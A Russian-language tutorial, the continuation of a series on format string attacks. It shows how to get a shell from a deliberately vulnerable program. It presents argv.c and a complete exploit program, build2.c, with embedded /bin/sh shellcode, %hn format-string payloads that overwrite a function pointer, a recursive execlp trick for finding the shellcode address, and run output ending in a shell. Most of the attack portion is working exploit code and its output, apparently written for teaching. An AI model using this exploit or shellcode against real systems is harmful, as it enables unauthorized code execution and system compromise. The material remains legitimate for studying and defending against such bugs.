Атаки Format String (продолжение)
Получение шела
В предыдущей части мы рассмотрели пример простой компрометации. Используя тот же принцип, можно получить и шел, передавая шелкод через argv[] или переменную окружения. Нам всего лишь необходимо записать секцию .dtors правильным адресом шелкода, который он получить при созданиии процесса.
К этому моменту мы располагаем следующимим знаниями:
как получать данные из стека с учетом ограничений; как перезаписывать определенные участки памяти процесса своими данными; Однако, на практике exploit'ы устроены гораздо сложнее. Приведенные до этого примеры уязвимых програм учебные, поэтому в большой степени искусственные.
Далее мы предложим метод, с помощью которого можно разместить в адресном пространстве процесса шелкод, и получить точное значение адреса его расположения, и кроме того, не придется вставлять перед шелкодом большое количество операций NOP.
Идея основана на рекурсивных вызовах семейства функций exec*():
/* argv.c */ #include #include #include main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); // Входными данными является число nb(int), определяющее количество рекурсивных вызовов (всего их будет nb+1):
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) Здесь можно заметить, что начиная со второй копии функции дополнительная память под argv и arg перестает выделяться. Мы будем использовать эту особенность при написании exploit'а. Для этого необходимо немного изменить программу build.c так, чтобы она рекурсивно вызывала себя (при этом нерекурсивной ветвью будет вызов vuln). Таким образом мы получим точное значение адреса argv и соответственно шелкода:
/* build2.c */ #include #include #include #include char* build(unsigned int addr, unsigned int value, unsigned int where) { //Same function as in build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adresse */ argv[2], atoi(argv[4])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; } Входными данными для exploit'a являются всего лишь адрес(адрес адреса возврата из функции ), который мы будем перезаписывать адресом шелкода и смещение. Теперь у нас отпадает необходимость, выяснять адрес, который получит шелкод при создании процесса. Адрес шелкода находится автоматически с помощью трюка с рекурсивными вызовами execpl(). Далее с учетом полученного адреса шелкода корректируется строка формата и передается параметром уязвимой программе vuln.
Вспомогательные рекурсивные вызовы build2 и execlp() должны, cамо собой, должны выполняться в одном процессе, т.к. адрес шелкода мы выясняем только для одного конкретного процесса. У каждой рекурсивной копии функции адресное пространство должно быть идентичным, вот почему каждый раз мы делаем лишний, на первый взгляд, вызов функции build:
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6цяї4цяї%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6цяї4цяї%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6цяї4цяї0...00000000000000000000000000000000000000000000000000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped) Почему это не работает? Мы только, что говорили, о том, что адресное пространство между рекурсивными вызовами build2 должно быть идентично, но сами не выполнили это условие! Argv[0](exploit скомпилирован с именем build2( 6 байт), с другой стороны в некурсивной ветви вызывается vuln(4 байта), поэтому не выполняется указанное выше условие. Разница в два байта приводит к segmentation fault, т.к. уже адрес шелкода шелкода смещается.
Как можно заметить адрес шелкода во второй копии функции: sc = 0xbffff88fbut, значение argv[2] при вызове vuln - 0xbffff891: как раз те самые два байта. Для решения этой проблемы достаточно переименовать build2, например, в bui2(4 байта):
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6цяї4цяї%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6цяї4цяї%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6цяї4цяї0...000000000000000000000000000000000000000000000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$ Теперь все работает;-) Шелкод попал в стек, с помощью рекурсии был выяснен его адрес и присвоен указателю на функцию ptrf. Отметим, что приведенный пример будет работать только, если в системе не установлены специальные патчи, запрещающие выполнять код в адресном пространстве стека.